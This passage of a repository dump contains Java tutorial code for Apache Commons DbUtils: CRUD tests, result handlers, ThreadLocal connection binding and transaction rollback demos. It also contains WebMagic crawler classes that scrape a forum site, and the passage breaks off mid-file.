    "content": "package dbutils;\n\n\nimport java.io.File;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.sql.SQLException;\nimport java.util.Date;\nimport java.util.List;\n\nimport javax.sql.rowset.serial.SerialClob;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\nimport org.junit.Test;\n\n\n\npublic class LogDAO {\n\n \n    @Test\n    public void add() throws SQLException {\n        //灏嗘暟鎹簮浼犻�掔粰QueryRunner锛孮ueryRunner鍐呴儴閫氳繃鏁版嵁婧愯幏鍙栨暟鎹簱杩炴帴\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"insert into users(name,password,email,birthday) values(?,?,?,?)\";\n        Object params[] = {\"1111\",\"11122\", \"gacl@sina.com\", new Date()};\n        //Object params[] = {\"鐧借檸绁炵殗\",\"123\", \"gacl@sina.com\", \"1988-05-07\"};\n        qr.update(sql, params);\n    }\n    \n    @Test\n    public void delete() throws SQLException {\n\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"delete from users where id=?\";\n        qr.update(sql, 1);\n\n    }\n\n    @Test\n    public void update() throws SQLException {\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"update users set name=? where id=?\";\n        Object params[] = { \"ddd\", 5};\n        qr.update(sql, params);\n    }\n\n    @Test\n    public void find() throws SQLException {\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users where id=?\";\n        Object params[] = {2};\n//        User user = (User) qr.query(sql, params, new BeanHandler(User.class));\n//        System.out.println(user.getBirthday());\n    }\n\n    @Test\n    public void getAll() throws SQLException {\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users\";\n//        List list = (List) qr.query(sql, new BeanListHandler(User.class));\n//        System.out.println(list.size());\n    }\n\n   \n    @Test\n    public void testBatch() throws SQLException {\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"insert into users(name,password,email,birthday) values(?,?,?,?)\";\n        Object params[][] = new Object[10][];\n        for (int i = 0; i < 10; i++) {\n            params[i] = new Object[] { \"aa\" + i, \"123\", \"aa@sina.com\",\n                    new Date() };\n        }\n        qr.batch(sql, params);\n    }\n    \n    //鐢╠butils瀹屾垚澶ф暟鎹紙涓嶅缓璁敤锛�\n    /***************************************************************************\n     create table testclob\n     (\n         id int primary key auto_increment,\n         resume text\n     );\n     **************************************************************************/\n    @Test\n    public void testclob() throws SQLException, IOException{\n        QueryRunner runner = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"insert into testclob(resume) values(?)\";  //clob\n        //杩欑鏂瑰紡鑾峰彇鐨勮矾寰勶紝鍏朵腑鐨勭┖鏍间細琚娇鐢ㄢ��%20鈥濅唬鏇�\n        String path  = LogDAO.class.getClassLoader().getResource(\"data.xml\").getPath();\n        //灏嗏��%20鈥濇浛鎹㈠洖绌烘牸\n        path = path.replaceAll(\"%20\", \" \");\n        FileReader in = new FileReader(path);\n        char[] buffer = new char[(int) new File(path).length()];\n        in.read(buffer);\n        SerialClob clob = new SerialClob(buffer);\n        Object params[] = {clob};\n        runner.update(sql, params);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/NovelDAO.java",
    "content": "package dbutils;\n\n\nimport java.sql.SQLException;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.junit.Test;\n\n\npublic class NovelDAO {\n\n \n    @Test\n    public void add(Object params[]) throws SQLException {\n        //将数据源传递给QueryRunner，QueryRunner内部通过数据源获取数据库连接\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"insert into biz_novel(title,content,content_detail,uptime,createtime,url) values(?,?,?,?,?,?)\";\n//        Object params[] = {\"1111\",\"11122\", \"3333333\", \"2019-07\", new Date(),\"url\"};\n        qr.update(sql, params);\n    }\n    \n    @Test\n    public void addPageData(Object params[]) throws SQLException {\n    \t//将数据源传递给QueryRunner，QueryRunner内部通过数据源获取数据库连接\n    \tQueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n    \tString sql = \"insert into biz_novel(title,content,content_detail,uptime,createtime,url) values(?,?,?,?,?,?)\";\n//        Object params[] = {\"1111\",\"11122\", \"3333333\", \"2019-07\", new Date(),\"url\"};\n    \tqr.update(sql, params);\n    }\n    \n    \n    @Test\n    public void addContentData(Object params[]) throws SQLException {\n    \tQueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n    \tStringBuilder sql = new StringBuilder();\n    \tsql.append(\" insert into t_content (id,dataid,name,type,title,content,creator,ctime,createtime,update,keyword,clickhit,images,\"\n    \t\t\t+ \"html1,html2,html3,content1,content2,content3,remark) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) \");\n    \tqr.update(sql.toString(), params);\n    }\n     \n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/ResultSetHandlerTest.java",
    "content": "package dbutils;\n\n\nimport java.sql.SQLException;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.ArrayHandler;\nimport org.apache.commons.dbutils.handlers.ArrayListHandler;\nimport org.apache.commons.dbutils.handlers.ColumnListHandler;\nimport org.apache.commons.dbutils.handlers.KeyedHandler;\nimport org.apache.commons.dbutils.handlers.MapHandler;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.apache.commons.dbutils.handlers.ScalarHandler;\nimport org.junit.Test;\n\n/**\n* @ClassName: ResultSetHandlerTest\n* @Description:测试dbutils各种类型的处理器\n* @date: 2014-10-6 上午8:39:14\n*\n*/ \npublic class ResultSetHandlerTest {\n\n    @Test\n    public void testArrayHandler() throws SQLException{\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users\";\n        Object result[] = (Object[]) qr.query(sql, new ArrayHandler());\n        System.out.println(Arrays.asList(result));  //list  toString()\n    }\n    \n    @Test\n    public void testArrayListHandler() throws SQLException{\n        \n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users\";\n        List<Object[]> list = (List) qr.query(sql, new ArrayListHandler());\n        for(Object[] o : list){\n            System.out.println(Arrays.asList(o));\n        }\n    }\n    \n    @Test\n    public void testColumnListHandler() throws SQLException{\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users\";\n        List list = (List) qr.query(sql, new ColumnListHandler(\"id\"));\n        System.out.println(list);\n    }\n    \n    @Test\n    public void testKeyedHandler() throws Exception{\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users\";\n        \n        Map<Integer,Map> map = (Map) qr.query(sql, new KeyedHandler(\"id\"));\n        for(Map.Entry<Integer, Map> me : map.entrySet()){\n            int  id = me.getKey();\n            Map<String,Object> innermap = me.getValue();\n            for(Map.Entry<String, Object> innerme : innermap.entrySet()){\n                String columnName = innerme.getKey();\n                Object value = innerme.getValue();\n                System.out.println(columnName + \"=\" + value);\n            }\n            System.out.println(\"----------------\");\n        }\n    }\n    \n    @Test\n    public void testMapHandler() throws SQLException{\n        \n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users\";\n        \n        Map<String,Object> map = (Map) qr.query(sql, new MapHandler());\n        for(Map.Entry<String, Object> me : map.entrySet())\n        {\n            System.out.println(me.getKey() + \"=\" + me.getValue());\n        }\n    }\n    \n    \n    @Test\n    public void testMapListHandler() throws SQLException{\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select * from users\";\n        List<Map> list = (List) qr.query(sql, new MapListHandler());\n        for(Map<String,Object> map :list){\n            for(Map.Entry<String, Object> me : map.entrySet())\n            {\n                System.out.println(me.getKey() + \"=\" + me.getValue());\n            }\n        }\n    }\n    \n    @Test\n    public void testScalarHandler() throws SQLException{\n        QueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n        String sql = \"select count(*) from users\";  //[13]  list[13]\n        int count = ((Long)qr.query(sql, new ScalarHandler(1))).intValue();\n        System.out.println(count);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/ThreadLocalTest.java",
    "content": "package dbutils;\n\n\npublic class ThreadLocalTest {\n\n    public static void main(String[] args) {\n        //得到程序运行时的当前线程\n        Thread currentThread = Thread.currentThread();\n        System.out.println(currentThread);\n        //ThreadLocal一个容器，向这个容器存储的对象，在当前线程范围内都可以取得出来\n        ThreadLocal<String> t = new ThreadLocal<String>();\n        //把某个对象绑定到当前线程上 对象以键值对的形式存储到一个Map集合中，对象的的key是当前的线程，如： map(currentThread,\"aaa\")\n        t.set(\"aaa\");\n        //获取绑定到当前线程中的对象\n        String value = t.get();\n        //输出value的值是aaa\n        System.out.println(value);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/Account.java",
    "content": "package dbutils.transaction;\n\npublic class Account {\n\n\tpublic float getMoney() {\n\t\t// TODO Auto-generated method stub\n\t\treturn 0;\n\t}\n\n\tpublic void setMoney(float f) {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\tpublic Object getName() {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n\n\tpublic Object getId() {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/AccountDao.java",
    "content": "package dbutils.transaction;\n\n\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\n\nimport dbutils.DBUtils;\n\n/*account娴嬭瘯琛�\ncreate table account(\n    id int primary key auto_increment,\n    name varchar(40),\n    money float\n)character set utf8 collate utf8_general_ci;\n\ninsert into account(name,money) values('A',1000);\ninsert into account(name,money) values('B',1000);\ninsert into account(name,money) values('C',1000);\n\n*/\n\n/**\n* @ClassName: AccountDao\n* @Description: 閽堝Account瀵硅薄鐨凜RUD\n* @author: 瀛ゅ偛鑻嶇嫾\n* @date: 2014-10-6 涓嬪崍4:00:42\n*\n*/ \npublic class AccountDao {\n\n    private Connection conn = null;\n    \n    public AccountDao(Connection conn){\n        this.conn = conn;\n    }\n    \n    public AccountDao(){\n        \n    }\n    \n    /**\n    * @Method: update\n    * @Description:鏇存柊\n    * @Anthor:瀛ゅ偛鑻嶇嫾\n    *\n    * @param account\n    * @throws SQLException\n    */ \n    public void update(Account account) throws SQLException{\n        \n        QueryRunner qr = new QueryRunner();\n        String sql = \"update account set name=?,money=? where id=?\";\n        Object params[] = {account.getName(),account.getMoney(),account.getId()};\n        //浣跨敤service灞備紶閫掕繃鏉ョ殑Connection瀵硅薄鎿嶄綔鏁版嵁搴�\n        qr.update(conn,sql, params);\n        \n    }\n    \n    /**\n    * @Method: find\n    * @Description:鏌ユ壘\n    * @Anthor:瀛ゅ偛鑻嶇嫾\n    *\n    * @param id\n    * @return\n    * @throws SQLException\n    */ \n    public Account find(int id) throws SQLException{\n        QueryRunner qr = new QueryRunner();\n        String sql = \"select * from account where id=?\";\n        //浣跨敤service灞備紶閫掕繃鏉ョ殑Connection瀵硅薄鎿嶄綔鏁版嵁搴�\n        return (Account) qr.query(conn,sql, id, new BeanHandler(Account.class));\n    }\n    \n    /**\n     * @Method: transfer\n     * @Description:杩欎釜鏂规硶鏄敤鏉ュ鐞嗕袱涓敤鎴蜂箣闂寸殑杞处涓氬姟\n     * 鍦ㄥ紑鍙戜腑锛孌AO灞傜殑鑱岃矗搴旇鍙秹鍙婂埌CRUD锛�\n     * 鑰岃繖涓猼ransfer鏂规硶鏄鐞嗕袱涓敤鎴蜂箣闂寸殑杞处涓氬姟鐨勶紝宸茬粡娑夊強鍒板叿浣撶殑涓氬姟鎿嶄綔锛屽簲璇ュ湪涓氬姟灞備腑鍋氾紝涓嶅簲璇ュ嚭鐜板湪DAO灞傜殑\n     * 鎵�浠ュ湪寮�鍙戜腑DAO灞傚嚭鐜拌繖鏍风殑涓氬姟澶勭悊鏂规硶鏄畬鍏ㄩ敊璇殑\n     * @Anthor:瀛ゅ偛鑻嶇嫾\n     *\n     * @param sourceName\n     * @param targetName\n     * @param money\n     * @throws SQLException\n     */ \n     public void transfer(String sourceName,String targetName,float money) throws SQLException{\n         Connection conn = null;\n         try{\n             conn = DBUtils.getConnection();\n             //寮�鍚簨鍔�\n             conn.setAutoCommit(false);\n             /**\n              * 鍦ㄥ垱寤篞ueryRunner瀵硅薄鏃讹紝涓嶄紶閫掓暟鎹簮缁欏畠锛屾槸涓轰簡淇濊瘉杩欎袱鏉QL鍦ㄥ悓涓�涓簨鍔′腑杩涜锛�\n              * 鎴戜滑鎵嬪姩鑾峰彇鏁版嵁搴撹繛鎺ワ紝鐒跺悗璁╄繖涓ゆ潯SQL浣跨敤鍚屼竴涓暟鎹簱杩炴帴鎵ц\n              */\n             QueryRunner runner = new QueryRunner();\n             String sql1 = \"update account set money=money-100 where name=?\";\n             String sql2 = \"update account set money=money+100 where name=?\";\n             Object[] paramArr1 = {sourceName};\n             Object[] paramArr2 = {targetName};\n             runner.update(conn,sql1,paramArr1);\n             //妯℃嫙绋嬪簭鍑虹幇寮傚父璁╀簨鍔″洖婊�\n             int x = 1/0;\n             runner.update(conn,sql2,paramArr2);\n             //sql姝ｅ父鎵ц涔嬪悗灏辨彁浜や簨鍔�\n             conn.commit();\n         }catch (Exception e) {\n             e.printStackTrace();\n             if(conn!=null){\n                 //鍑虹幇寮傚父涔嬪悗灏卞洖婊氫簨鍔�\n                 conn.rollback();\n             }\n         }finally{\n             //鍏抽棴鏁版嵁搴撹繛鎺�\n             conn.close();\n         }\n     }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/AccountDao2.java",
    "content": "package dbutils.transaction;\n\n\nimport java.sql.SQLException;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\n\nimport dbutils.DBUtils;\n\n\n/*\ncreate table account(\n    id int primary key auto_increment,\n    name varchar(40),\n    money float\n)character set utf8 collate utf8_general_ci;\n\ninsert into account(name,money) values('A',1000);\ninsert into account(name,money) values('B',1000);\ninsert into account(name,money) values('C',1000);\n\n*/\n\n/**\n* @ClassName: AccountDao\n* @Description: 针对Account对象的CRUD\n* @author: 孤傲苍狼\n* @date: 2014-10-6 下午4:00:42\n*\n*/ \npublic class AccountDao2 {\n\n    public void update(Account account) throws SQLException{\n        \n        QueryRunner qr = new QueryRunner();\t\t\t\n        String sql = \"update account set name=?,money=? where id=?\";\n        Object params[] = {account.getName(),account.getMoney(),account.getId()};\n        //JdbcUtils2.getConnection()获取当前线程中的Connection对象\n        qr.update(DBUtils.getConnection(),sql, params);\n        \n    }\n    \n    public Account find(int id) throws SQLException{\n        QueryRunner qr = new QueryRunner();\n        String sql = \"select * from account where id=?\";\n        //JdbcUtils2.getConnection()获取当前线程中的Connection对象\n        return (Account) qr.query(DBUtils.getConnection(),sql, id, new BeanHandler(Account.class));\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/AccountDao3.java",
    "content": "package dbutils.transaction;\n\nimport java.sql.SQLException;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\n\n/*\ncreate table account(\n    id int primary key auto_increment,\n    name varchar(40),\n    money float\n)character set utf8 collate utf8_general_ci;\n\ninsert into account(name,money) values('A',1000);\ninsert into account(name,money) values('B',1000);\ninsert into account(name,money) values('C',1000);\n\n*/\n\n/**\n* @ClassName: AccountDao\n* @Description: 针对Account对象的CRUD\n* @author: 孤傲苍狼\n* @date: 2014-10-6 下午4:00:42\n*\n*/ \npublic class AccountDao3 {\n\n    public void update(Account account) throws SQLException{\n        \n        QueryRunner qr = new QueryRunner();\n        String sql = \"update account set name=?,money=? where id=?\";\n        Object params[] = {account.getName(),account.getMoney(),account.getId()};\n        //ConnectionContext.getInstance().getConnection()获取当前线程中的Connection对象\n        qr.update(ConnectionContext.getInstance().getConnection(),sql, params);\n        \n    }\n    \n    public Account find(int id) throws SQLException{\n        QueryRunner qr = new QueryRunner();\n        String sql = \"select * from account where id=?\";\n        //ConnectionContext.getInstance().getConnection()获取当前线程中的Connection对象\n        return (Account) qr.query(ConnectionContext.getInstance().getConnection(),sql, id, new BeanHandler(Account.class));\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/AccountService.java",
    "content": "package dbutils.transaction;\n\n\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\nimport dbutils.DBUtils;\n\n/**\n* @ClassName: AccountService\n* @Description: 业务逻辑处理层\n* @author: 孤傲苍狼\n* @date: 2014-10-6 下午5:30:15\n*\n*/ \npublic class AccountService {\n    \n    /**\n    * @Method: transfer\n    * @Description:这个方法是用来处理两个用户之间的转账业务\n    * @Anthor:孤傲苍狼\n    *\n    * @param sourceid\n    * @param tartgetid\n    * @param money\n    * @throws SQLException\n    */ \n    public void transfer(int sourceid,int tartgetid,float money) throws SQLException{\n        Connection conn = null;\n        try{\n            //获取数据库连接\n            conn = DBUtils.getConnection();\n            //开启事务\n            conn.setAutoCommit(false);\n            //将获取到的Connection传递给AccountDao，保证dao层使用的是同一个Connection对象操作数据库\n            AccountDao dao = new AccountDao(conn);\n            Account source = dao.find(sourceid);\n            Account target = dao.find(tartgetid);\n            \n            source.setMoney(source.getMoney()-money);\n            target.setMoney(target.getMoney()+money);\n            \n            dao.update(source);\n            //模拟程序出现异常让事务回滚\n            int x = 1/0;\n            dao.update(target);\n            //提交事务\n            conn.commit();\n        }catch (Exception e) {\n            e.printStackTrace();\n            //出现异常之后就回滚事务\n            conn.rollback();\n        }finally{\n            conn.close();\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/AccountService2.java",
    "content": "package dbutils.transaction;\n\n\nimport java.sql.SQLException;\n\nimport dbutils.DBUtils;\n\npublic class AccountService2 {\n    \n    /**\n    * @Method: transfer\n    * @Description:在业务层处理两个账户之间的转账问题\n    * @Anthor:孤傲苍狼\n    *\n    * @param sourceid\n    * @param tartgetid\n    * @param money\n    * @throws SQLException\n    */ \n    public void transfer(int sourceid,int tartgetid,float money) throws SQLException{\n        try{\n            //开启事务，在业务层处理事务，保证dao层的多个操作在同一个事务中进行\n            DBUtils.startTransaction();\n            AccountDao2 dao = new AccountDao2();\n            \n            Account source = dao.find(sourceid);\n            Account target = dao.find(tartgetid);\n            source.setMoney(source.getMoney()-money);\n            target.setMoney(target.getMoney()+money);\n            \n            dao.update(source);\n            //模拟程序出现异常让事务回滚\n            int x = 1/0;\n            dao.update(target);\n            \n            //SQL正常执行之后提交事务\n            DBUtils.commit();\n        }catch (Exception e) {\n            e.printStackTrace();\n            //出现异常之后就回滚事务\n            DBUtils.rollback();\n        }finally{\n            //关闭数据库连接\n            DBUtils.close();\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/AccountService3.java",
    "content": "package dbutils.transaction;\n\n\nimport java.sql.SQLException;\n\npublic class AccountService3 {\n    \n    /**\n    * @Method: transfer\n    * @Description:在业务层处理两个账户之间的转账问题\n    * @Anthor:孤傲苍狼\n    *\n    * @param sourceid\n    * @param tartgetid\n    * @param money\n    * @throws SQLException\n    */ \n    public void transfer(int sourceid, int tartgetid, float money)\n            throws SQLException {\n        AccountDao3 dao = new AccountDao3();\n        Account source = dao.find(sourceid);\n        Account target = dao.find(tartgetid);\n        source.setMoney(source.getMoney() - money);\n        target.setMoney(target.getMoney() + money);\n        dao.update(source);\n        // 模拟程序出现异常让事务回滚\n        int x = 1 / 0;\n        dao.update(target);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/AccountServlet.java",
    "content": "package dbutils.transaction;\n\n\nimport java.io.IOException;\nimport java.sql.SQLException;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class AccountServlet extends HttpServlet {\n\n    public void doGet(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n        AccountService3 service = new AccountService3();\n        try {\n            service.transfer(1, 2, 100);\n        } catch (SQLException e) {\n            e.printStackTrace();\n            //注意：调用service层的方法出异常之后，继续将异常抛出，这样在TransactionFilter就能捕获到抛出的异常，继而执行事务回滚操作\n            throw new RuntimeException(e);\n        }\n    }\n\n    public void doPost(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n        doGet(request, response);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/ConnectionContext.java",
    "content": "package dbutils.transaction;\n\n\nimport java.sql.Connection;\n\n/**\n* @ClassName: ConnectionContext\n* @Description:数据库连接上下文\n* @author: 孤傲苍狼\n* @date: 2014-10-7 上午8:36:01\n*\n*/ \npublic class ConnectionContext {\n\n    /**\n     * 构造方法私有化，将ConnectionContext设计成单例\n     */\n    private ConnectionContext(){\n        \n    }\n    //创建ConnectionContext实例对象\n    private static ConnectionContext connectionContext = new ConnectionContext();\n    \n    /**\n    * @Method: getInstance\n    * @Description:获取ConnectionContext实例对象\n    * @Anthor:孤傲苍狼\n    *\n    * @return\n    */ \n    public static ConnectionContext getInstance(){\n        return connectionContext;\n    }\n    \n    /**\n    * @Field: connectionThreadLocal\n    *         使用ThreadLocal存储数据库连接对象\n    */ \n    private ThreadLocal<Connection> connectionThreadLocal = new ThreadLocal<Connection>();\n    \n    /**\n    * @Method: bind\n    * @Description:利用ThreadLocal把获取数据库连接对象Connection和当前线程绑定\n    * @Anthor:孤傲苍狼\n    *\n    * @param connection\n    */ \n    public void bind(Connection connection){\n        connectionThreadLocal.set(connection);\n    }\n    \n    /**\n    * @Method: getConnection\n    * @Description:从当前线程中取出Connection对象\n    * @Anthor:孤傲苍狼\n    *\n    * @return\n    */ \n    public Connection getConnection(){\n        return connectionThreadLocal.get();\n    }\n    \n    /**\n    * @Method: remove\n    * @Description: 解除当前线程上绑定Connection\n    * @Anthor:孤傲苍狼\n    *\n    */ \n    public void remove(){\n        connectionThreadLocal.remove();\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/transaction/TransactionFilter.java",
    "content": "package dbutils.transaction;\n\n\nimport java.io.IOException;\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport dbutils.DBUtils;\n\n/**\n* @ClassName: TransactionFilter\n* @Description:ThreadLocal + Filter 统一处理数据库事务\n* @date: 2014-10-6 下午11:36:58\n*\n*/ \npublic class TransactionFilter implements Filter {\n\n    @Override\n    public void init(FilterConfig filterConfig) throws ServletException {\n\n    }\n\n    @Override\n    public void doFilter(ServletRequest request, ServletResponse response,\n            FilterChain chain) throws IOException, ServletException {\n\n        Connection connection = null;\n        try {\n            //1、获取数据库连接对象Connection\n            connection = DBUtils.getConnection();\n            //2、开启事务\n            connection.setAutoCommit(false);\n            //3、利用ThreadLocal把获取数据库连接对象Connection和当前线程绑定\n            ConnectionContext.getInstance().bind(connection);\n            //4、把请求转发给目标Servlet\n            chain.doFilter(request, response);\n            //5、提交事务\n            connection.commit();\n        } catch (Exception e) {\n            e.printStackTrace();\n            //6、回滚事务\n            try {\n                connection.rollback();\n            } catch (SQLException e1) {\n                e1.printStackTrace();\n            }\n            HttpServletRequest req = (HttpServletRequest) request;\n            HttpServletResponse res = (HttpServletResponse) response;\n            //req.setAttribute(\"errMsg\", e.getMessage());\n            //req.getRequestDispatcher(\"/error.jsp\").forward(req, res);\n            //出现异常之后跳转到错误页面\n            res.sendRedirect(req.getContextPath()+\"/error.jsp\");\n        }finally{\n            //7、解除绑定\n            ConnectionContext.getInstance().remove();\n            //8、关闭数据库连接\n            try {\n                connection.close();\n            } catch (SQLException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n    @Override\n    public void destroy() {\n\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/AniMusicProcessor.java",
    "content": "package jun_webmagic;\n\n\nimport java.util.List;\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.pipeline.ConsolePipeline;\nimport us.codecraft.webmagic.pipeline.FilePipeline;\nimport us.codecraft.webmagic.processor.PageProcessor;\nimport us.codecraft.webmagic.selector.Selectable;\n\n/**\n * \n * @author ReverieNight@Foxmail.com\n *\n */\npublic class AniMusicProcessor implements PageProcessor{\n\t\n\tprivate Site site = Site.me().setSleepTime(1000).setRetryTimes(3);\n\t\n\t//列表页的正则表达式\n\tpublic static final String URL_LIST = \"http://xh2\\\\.1024xp2\\\\.com/pw/thread\\\\.php?fid=14\";\n    public static final String URL_POST = \"http://xh2\\\\.1024xp2\\\\.com/pw/html_data/14/1907/[0-9]{7}\\\\.html\";\n\t\n\t@Override\n\tpublic Site getSite() {\n\t\treturn site;\n\t}\n\t\n\t@Override\n\tpublic void process(Page page) {\n\t\t//列表页\n\t\t System.err.println(page.getUrl());\n\t\t Selectable se = page.getUrl();\n\t\t se.toString();\n\t\t System.err.println(se.toString());\n\t\t List<String> requests = page.getHtml().links().regex(URL_LIST).all();\n\t\t \n\t\t System.err.println(page.getHtml().links().toString());\n\t     page.addTargetRequests(requests);\n        if (page.getUrl().toString().startsWith(\"http://xh2.1024xp2.com/pw/thread.php?fid=14\") ) {\n//        \tif (page.getUrl().regex(URL_LIST).match()) {\n//        \tSystem.err.println(page.getHtml());\n        \tList<String> l_post = page.getHtml().xpath(\"//*[@id=\\\"ajaxtable\\\"]/tbody[2]\").links().regex(URL_POST).all(); //目标详情\n        \tList<String> l_url = page.getHtml().links().regex(URL_LIST).all();\t//所有的列表\n            page.addTargetRequests(l_post);\n            page.addTargetRequests(l_url);\n        //详情页\n        } else {\n//        \tString title = page.getHtml().xpath(\"//div[@class='location']\").regex(\"\\\\[[\\\\S|\\\\s]+\\\\<\").toString();\t//匹配标题\n//            page.putField(\"title\", title.substring(0, title.length() - 1).trim());\n//            page.putField(\"torrent\", page.getHtml().xpath(\"//p[@class='original download']\").links().toString().trim());\t//匹配种子\n        \tString title = page.getHtml().xpath(\"//*[@id=\\\"breadCrumb\\\"]/font/a[4]/text()\").get();\n            String content = page.getHtml().xpath(\"//*[@id=\\\"read_tpc\\\"]/img[1]/\").get();\n            System.err.println(\"title=\"+title+\",content=\"+content);\n            System.err.println();\n        }\t\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tSpider.create(new AniMusicProcessor())\n\t\t\t.addUrl(\"http://xh2.1024xp2.com/pw/thread.php?fid=14\")\t//开始地址\t\n\t\t\t.addPipeline(new ConsolePipeline())\t//打印到控制台\n//\t\t\t.addPipeline(new FilePipeline(\"D:\\\\webmagic\\\\AniMusic\"))\t//保存到文件夹\n\t\t\t.thread(5)\t//开启5线程\n\t\t\t.run();\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/AniMusicProcessor2.java",
    "content": "package jun_webmagic;\n\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.pipeline.ConsolePipeline;\nimport us.codecraft.webmagic.processor.PageProcessor;\nimport us.codecraft.webmagic.selector.Selectable;\n\nimport java.util.List;\n\n/**\n * \n * @author ReverieNight@Foxmail.com\n *\n */\npublic class AniMusicProcessor2 implements PageProcessor{\n\t\n\tprivate Site site = Site.me().setSleepTime(1000).setRetryTimes(3);\n\t\n\t//列表页的正则表达式\n\tpublic static final String URL_LIST = \"http://xh2\\\\.1024xp2\\\\.com/pw/thread\\\\.php?fid=14\";\n    public static final String URL_POST = \"http://xh2\\\\.1024xp2\\\\.com/pw/html_data/14/1907/[0-9]{7}\\\\.html\";\n\t\n\t@Override\n\tpublic Site getSite() {\n\t\treturn site;\n\t}\n\t\n\t@Override\n\tpublic void process(Page page) {\n\t\t//列表页\n\t\t System.err.println(page.getUrl());\n\t\t Selectable se = page.getUrl();\n\t\t se.toString();\n\t\t System.err.println(se.toString());\n\t\t List<String> requests = page.getHtml().links().regex(URL_LIST).all();\n\t\t \n\t\t System.err.println(page.getHtml().links().toString());\n\t     page.addTargetRequests(requests);\n        if (page.getUrl().toString().startsWith(\"http://xh2.1024xp2.com/pw/thread.php?fid=14\") ) {\n//        \tif (page.getUrl().regex(URL_LIST).match()) {\n//        \tSystem.err.println(page.getHtml());\n        \tList<String> l_post = page.getHtml().xpath(\"//*[@id=\\\"ajaxtable\\\"]/tbody[2]\").links().regex(URL_POST).all(); //目标详情\n        \tList<String> l_url = page.getHtml().links().regex(URL_LIST).all();\t//所有的列表\n            page.addTargetRequests(l_post);\n            page.addTargetRequests(l_url);\n        //详情页\n        } else {\n//        \tString title = 